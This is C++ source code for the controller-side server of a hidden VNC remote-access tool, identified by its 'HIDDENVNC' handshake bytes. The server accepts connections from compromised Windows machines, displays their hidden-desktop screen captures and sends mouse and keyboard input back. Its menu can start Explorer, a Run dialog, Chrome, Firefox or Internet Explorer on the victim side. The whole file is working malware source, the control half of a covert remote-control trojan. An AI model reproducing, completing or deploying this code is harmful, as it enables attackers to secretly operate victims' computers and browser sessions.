#include "Server.h" typedef NTSTATUS (NTAPI *T_RtlDecompressBuffer) ( USHORT CompressionFormat, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalUncompressedSize ); static T_RtlDecompressBuffer pRtlDecompressBuffer; enum Connection { desktop, input, end }; struct Client { SOCKET connections[Connection::end]; DWORD uhid; HWND hWnd; BYTE *pixels; DWORD pixelsWidth, pixelsHeight; DWORD screenWidth, screenHeight; HDC hDcBmp; HANDLE minEvent; BOOL fullScreen; RECT windowedRect; }; static const COLORREF gc_trans = RGB(255, 174, 201); static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 }; static const DWORD gc_maxClients = 256; static const DWORD gc_sleepNotRecvPixels = 33; static const DWORD gc_minWindowWidth = 800; static const DWORD gc_minWindowHeight = 600; enum SysMenuIds { fullScreen = 101, startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore }; static Client g_clients[gc_maxClients]; static CRITICAL_SECTION g_critSec; static Client *GetClient(void *data, BOOL uhid) { for(int i = 0; i < gc_maxClients; ++i) { if(uhid) { if(g_clients[i].uhid == (DWORD) data) return &g_clients[i]; } else { if(g_clients[i].hWnd == (HWND) data) return &g_clients[i]; } } return NULL; } int SendInt(SOCKET s, int i) { return send(s, (char *) &i, sizeof(i), 0); } static BOOL SendInput(SOCKET s, UINT msg, WPARAM wParam, LPARAM lParam) { if(SendInt(s, msg) <= 0) return FALSE; if(SendInt(s, wParam) <= 0) return FALSE; if(SendInt(s, lParam) <= 0) return FALSE; return TRUE; } static void ToggleFullscreen(HWND hWnd, Client *client) { if(!client->fullScreen) { RECT rect; GetWindowRect(hWnd, &rect); client->windowedRect = rect; GetWindowRect(GetDesktopWindow(), &rect); SetWindowLong(hWnd, GWL_STYLE, WS_POPUP | WS_VISIBLE); SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, rect.right, rect.bottom, SWP_SHOWWINDOW); } else { SetWindowLong(hWnd, GWL_STYLE, WS_OVERLAPPEDWINDOW | WS_VISIBLE); SetWindowPos(hWnd, HWND_NOTOPMOST, client->windowedRect.left, client->windowedRect.top, client->windowedRect.left - client->windowedRect.right, client->windowedRect.bottom - client->windowedRect.top, SWP_SHOWWINDOW); } client->fullScreen = !client->fullScreen; } static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { Client *client = GetClient(hWnd, FALSE); switch(msg) { case WM_CREATE: { HMENU hSysMenu = GetSystemMenu(hWnd, false); AppendMenu(hSysMenu, MF_SEPARATOR, 0, NULL); //AppendMenu(hSysMenu, MF_STRING, SysMenuIds::fullScreen, TEXT("&Fullscreen")); AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startExplorer, TEXT("Start Explorer")); AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startRun, TEXT("&Run...")); AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startChrome, TEXT("Start Chrome")); AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startFirefox, TEXT("Start Firefox")); AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startIexplore, TEXT("Start Internet Explorer")); break; } case WM_SYSCOMMAND: { if(wParam == SC_RESTORE) SetEvent(client->minEvent); /* else if(wParam == SysMenuIds::fullScreen || (wParam == SC_KEYMENU && toupper(lParam) == 'F')) { ToggleFullscreen(hWnd, client); break; } */ else if(wParam == SysMenuIds::startExplorer) { EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], SysMenuIds::startExplorer, NULL, NULL)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } else if(wParam == SysMenuIds::startRun) { EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], SysMenuIds::startRun, NULL, NULL)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } else if(wParam == SysMenuIds::startChrome) { EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], SysMenuIds::startChrome, NULL, NULL)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } else if(wParam == SysMenuIds::startFirefox) { EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], SysMenuIds::startFirefox, NULL, NULL)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } else if(wParam == SysMenuIds::startIexplore) { EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], SysMenuIds::startIexplore, NULL, NULL)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } return DefWindowProc(hWnd, msg, wParam, lParam); } case WM_PAINT: { PAINTSTRUCT ps; HDC hDc = BeginPaint(hWnd, &ps); RECT clientRect; GetClientRect(hWnd, &clientRect); RECT rect; HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); rect.left = 0; rect.top = 0; rect.right = clientRect.right; rect.bottom = clientRect.bottom; rect.left = client->pixelsWidth; FillRect(hDc, &rect, hBrush); rect.left = 0; rect.top = client->pixelsHeight; FillRect(hDc, &rect, hBrush); DeleteObject(hBrush); BitBlt(hDc, 0, 0, client->pixelsWidth, client->pixelsHeight, client->hDcBmp, 0, 0, SRCCOPY); EndPaint(hWnd, &ps); break; } case WM_DESTROY: { PostQuitMessage(0); break; } case WM_ERASEBKGND: return TRUE; case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK: case WM_MOUSEMOVE: case WM_MOUSEWHEEL: { if(msg == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0) break; int x = GET_X_LPARAM(lParam); int y = GET_Y_LPARAM(lParam); float ratioX = (float) client->screenWidth / client->pixelsWidth; float ratioY = (float) client->screenHeight / client->pixelsHeight; x = (int) (x * ratioX); y = (int) (y * ratioY); lParam = MAKELPARAM(x, y); EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], msg, wParam, lParam)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } case WM_CHAR: { if(iscntrl(wParam)) break; EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } case WM_KEYDOWN: case WM_KEYUP: { switch(wParam) { case VK_UP: case VK_DOWN: case VK_RIGHT: case VK_LEFT: case VK_HOME: case VK_END: case VK_PRIOR: case VK_NEXT: case VK_INSERT: case VK_RETURN: case VK_DELETE: case VK_BACK: break; default: return 0; } EnterCriticalSection(&g_critSec); if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) PostQuitMessage(0); LeaveCriticalSection(&g_critSec); break; } case WM_GETMINMAXINFO: { MINMAXINFO* mmi = (MINMAXINFO *) lParam; mmi->ptMinTrackSize.x = gc_minWindowWidth; mmi->ptMinTrackSize.y = gc_minWindowHeight; mmi->ptMaxTrackSize.x = 1920; mmi->ptMaxTrackSize.y = 1080; break; } default: return DefWindowProc(hWnd, msg, wParam, lParam); } return 0; } static DWORD WINAPI ClientThread(PVOID param) { Client *client = NULL; SOCKET s = (SOCKET) param; BYTE buf[sizeof(gc_magik)]; Connection connection; DWORD uhid; if(recv(s, (char *) buf, sizeof(gc_magik), 0) <= 0) { closesocket(s); return 0; } if(memcmp(buf, gc_magik, sizeof(gc_magik))) { closesocket(s); return 0; } if(recv(s, (char *) &connection, sizeof(connection), 0) <= 0) { closesocket(s); return 0; } { SOCKADDR_IN addr; int addrSize; addrSize = sizeof(addr); getpeername(s, (SOCKADDR *) &addr, &addrSize); uhid = addr.sin_addr.S_un.S_addr; } if(connection == Connection::desktop) { client = GetClient((void *) uhid, TRUE); if(!client) { closesocket(s); return 0; } client->connections[Connection::desktop] = s; BITMAPINFO bmpInfo; bmpInfo.bmiHeader.biSize = sizeof(bmpInfo.bmiHeader); bmpInfo.bmiHeader.biPlanes = 1; bmpInfo.bmiHeader.biBitCount = 24; bmpInfo.bmiHeader.biCompression = BI_RGB; bmpInfo.bmiHeader.biClrUsed = 0; for(;;) { RECT rect; GetClientRect(client->hWnd, &rect); if(rect.right == 0) { BOOL x = ResetEvent(client->minEvent); WaitForSingleObject(client->minEvent, 5000); continue; } int realRight = (rect.right > client->screenWidth && client->screenWidth > 0) ? client->screenWidth : rect.right; int realBottom = (rect.bottom > client->screenHeight && client->screenHeight > 0) ? client->screenHeight : rect.bottom; if((realRight * 3) % 4) realRight += ((realRight * 3) % 4); if(SendInt(s, realRight) <= 0) goto exit; if(SendInt(s, realBottom) <= 0) goto exit; DWORD width; DWORD height; DWORD size; BOOL recvPixels; if(recv(s, (char *) &recvPixels, sizeof(recvPixels), 0) <= 0) goto exit; if(!recvPixels) { Sleep(gc_sleepNotRecvPixels); continue; } if(recv(s, (char *) &client->screenWidth, sizeof(client->screenWidth), 0) <= 0) goto exit; if(recv(s, (char *) &client->screenHeight, sizeof(client->screenHeight), 0) <= 0) goto exit; if(recv(s, (char *) &width, sizeof(width), 0) <= 0) goto exit; if(recv(s, (char *) &height, sizeof(height), 0) <= 0) goto exit; if(recv(s, (char *) &size, sizeof(size), 0) <= 0) goto exit; BYTE *compressedPixels = (BYTE *) malloc(size); int totalRead = 0; do { int read = recv(s, (char *) compressedPixels + totalRead, size - totalRead, 0); if(read <= 0) goto exit; totalRead += read; } while(totalRead != size); EnterCriticalSection(&g_critSec); { DWORD newPixelsSize = width * 3 * height; BYTE *newPixels = (BYTE *) malloc(newPixelsSize); pRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, newPixels, newPixelsSize, compressedPixels, size, &size); free(compressedPixels); if(client->pixels && client->pixelsWidth == width && client->pixelsHeight == height) { for(DWORD i = 0; i < newPixelsSize; i += 3) { if(newPixels[i] == GetRValue(gc_trans) && newPixels[i + 1] == GetGValue(gc_trans) && newPixels[i + 2] == GetBValue(gc_trans)) { continue; } client->pixels[i] = newPixels[i]; client->pixels[i + 1] = newPixels[i + 1]; client->pixels[i + 2] = newPixels[i + 2]; } free(newPixels); } else { free(client->pixels); client->pixels = newPixels; } HDC hDc = GetDC(NULL); HDC hDcBmp = CreateCompatibleDC(hDc); HBITMAP hBmp; hBmp = CreateCompatibleBitmap(hDc, width, height); SelectObject(hDcBmp, hBmp); bmpInfo.bmiHeader.biSizeImage = newPixelsSize; bmpInfo.bmiHeader.biWidth = width; bmpInfo.bmiHeader.biHeight = height; SetDIBits(hDcBmp, hBmp, 0, height, client->pixels, &bmpInfo, DIB_RGB_COLORS); DeleteDC(client->hDcBmp); client->pixelsWidth = width; client->pixelsHeight = height; client->hDcBmp = hDcBmp; InvalidateRgn(client->hWnd, NULL, TRUE); DeleteObject(hBmp); ReleaseDC(NULL, hDc); } LeaveCriticalSection(&g_critSec); if(SendInt(s, 0) <= 0) goto exit; } exit: PostMessage(client->hWnd, WM_DESTROY, NULL, NULL); return 0; } else if(connection == Connection::input) { char ip[16]; EnterCriticalSection(&g_critSec); { client = GetClient((void *) uhid, TRUE); if(client) { closesocket(s); LeaveCriticalSection(&g_critSec); return 0; } IN_ADDR addr; addr.S_un.S_addr = uhid; strcpy(ip, inet_ntoa(addr)); wprintf(TEXT("User %S connected\n"), ip); BOOL found = FALSE; for(int i = 0; i < gc_maxClients; ++i) { if(!g_clients[i].hWnd) { found = TRUE; client = &g_clients[i]; } } if(!found) { wprintf(TEXT("User %S kicked max %d users\n"), ip, gc_maxClients); closesocket(s); return 0; } client->hWnd = CW_Create(uhid, gc_minWindowWidth, gc_minWindowHeight); client->uhid = uhid; client->connections[Connection::input] = s; client->minEvent = CreateEventA(NULL, TRUE, FALSE, NULL); } LeaveCriticalSection(&g_critSec); SendInt(s, 0); MSG msg; while(GetMessage(&msg, NULL, 0, 0) > 0) { PeekMessage(&msg, NULL, WM_USER, WM_USER, PM_NOREMOVE); TranslateMessage(&msg); DispatchMessage(&msg); } EnterCriticalSection(&g_critSec); { wprintf(TEXT("User %S disconnected\n"), ip); free(client->pixels); DeleteDC(client->hDcBmp); closesocket(client->connections[Connection::input]); closesocket(client->connections[Connection::desktop]); CloseHandle(client->minEvent); memset(client, 0, sizeof(*client)); } LeaveCriticalSection(&g_critSec); } return 0; } BOOL StartServer(int port) { WSADATA wsa; SOCKET serverSocket; sockaddr_in addr; HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll")); pRtlDecompressBuffer = (T_RtlDecompressBuffer) GetProcAddress(ntdll, "RtlDecompressBuffer"); InitializeCriticalSection(&g_critSec); memset(g_clients, 0, sizeof(g_clients)); CW_Register(WndProc); if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return FALSE; if((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) return FALSE; addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(port); if(bind(serverSocket, (sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR) return FALSE; if(listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) return FALSE; int addrSize = sizeof(addr); getsockname(serverSocket, (sockaddr *) &addr, &addrSize); wprintf(TEXT("Listening on port %d\n"), ntohs(addr.sin_port)); for(;;) { SOCKET s; sockaddr_in addr; s = accept(serverSocket, (sockaddr *) &addr, &addrSize); CreateThread(NULL, 0, ClientThread, (LPVOID) s, 0, 0); } }